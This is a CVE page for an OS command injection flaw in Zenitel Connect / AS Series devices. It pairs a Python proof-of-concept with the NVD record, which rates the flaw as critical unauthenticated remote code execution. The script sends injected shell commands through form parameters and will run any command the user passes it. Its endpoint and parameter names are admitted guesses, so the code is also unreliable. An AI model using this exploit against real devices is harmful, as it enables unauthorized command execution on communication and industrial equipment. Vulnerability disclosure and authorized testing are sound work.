CVE-2025-64127

# CVE-2025-64127 PoC - OS Command Injection in Zenitel devices # Target: Zenitel Connect / AS Series devices # Note: This PoC is for educational and authorized testing purposes only import requests import sys def cve_2025_64127_poc(target_url, command="id"): """ Proof of Concept for CVE-2025-64127 OS Command Injection vulnerability in Zenitel devices Args: target_url: Base URL of the vulnerable Zenitel device command: OS command to execute (default: 'id') Returns: Response from the server """ # Target endpoint (to be identified from official advisory) endpoint = f"{target_url}/api/v1/execute" # Malicious payload with command injection # Using common command separators: ; | && || payload = { "param": f";{command}", # Alternative injection points may exist "command": f"test|{command}", } try: # Send request without authentication (PR:N) response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def verify_vulnerability(target_url): """ Verify if target is vulnerable to CVE-2025-64127 """ print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-64127 OS Command Injection Test") # Test with benign command to confirm injection works cve_2025_64127_poc(target_url, "id") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-64127-poc.py <target_url> [command]") print("Example: python cve-2025-64127-poc.py http://target.com id") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "id" verify_vulnerability(target)

{"cve": {"id": "CVE-2025-64127", "sourceIdentifier": "[email protected]", "published": "2025-11-26T18:15:49.243", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An OS command injection vulnerability exists due to insufficient \nsanitization of user-supplied input. The application accepts parameters \nthat are later incorporated into OS commands without adequate \nvalidation. This could allow an unauthenticated attacker to execute \narbitrary commands remotely."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-329-03.json", "source": "[email protected]"}, {"url": "https://wiki.zenitel.com/wiki/Downloads#Station_and_Device_Firmware_Package_.28VS-IS.29", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-03", "source": "[email protected]"}]}}